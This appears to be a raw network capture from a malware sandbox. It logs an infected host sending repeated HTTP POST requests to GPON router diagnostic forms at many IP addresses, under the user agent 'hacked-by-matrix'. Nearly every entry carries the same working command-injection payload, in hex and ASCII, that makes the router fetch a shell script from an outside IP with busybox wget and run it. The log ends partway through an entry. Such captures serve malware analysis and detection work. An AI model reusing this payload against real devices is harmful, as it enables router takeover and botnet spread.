Mar 2, 2024 12:36:51.842169046 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
44	192.168.2.23	54964	178.96.80.117	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:36:51.842176914 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
45	192.168.2.23	56826	178.172.70.221	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:36:51.842191935 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
46	192.168.2.23	44658	109.25.80.245	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:36:51.842222929 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
47	192.168.2.23	37300	94.198.28.157	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:36:51.842248917 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
48	192.168.2.23	44700	109.204.217.57	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:36:51.842273951 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
49	192.168.2.23	37370	210.244.14.113	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:36:51.842283964 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
50	192.168.2.23	41786	178.201.72.189	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:36:51.842314005 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
51	192.168.2.23	37450	94.238.221.249	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:36:51.842340946 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
52	192.168.2.23	38948	178.33.6.12	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:36:51.842365026 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
53	192.168.2.23	52774	118.61.109.206	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:36:51.842367887 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
54	192.168.2.23	56270	118.43.205.165	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:36:51.842427015 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
55	192.168.2.23	57178	210.219.205.128	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:36:51.842463970 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
56	192.168.2.23	51204	5.128.61.75	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:36:51.842474937 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
57	192.168.2.23	42954	178.237.188.150	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:36:51.842500925 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
58	192.168.2.23	41422	118.180.199.221	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:36:51.842525959 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
59	192.168.2.23	49134	37.166.65.55	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:36:51.842559099 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
60	192.168.2.23	48340	212.36.89.68	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:36:51.842617035 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
61	192.168.2.23	48686	79.93.242.60	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:36:51.842619896 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
62	192.168.2.23	49156	42.104.189.102	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:36:51.842621088 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
63	192.168.2.23	60530	118.234.89.8	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:36:51.842642069 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
64	192.168.2.23	58834	109.227.230.104	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:36:51.842660904 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
65	192.168.2.23	60260	79.204.63.37	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:36:51.842700958 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
66	192.168.2.23	37592	37.84.255.173	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:36:51.842724085 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
67	192.168.2.23	46778	118.72.101.149	443

Timestamp	Bytes transferred	Direction	Data
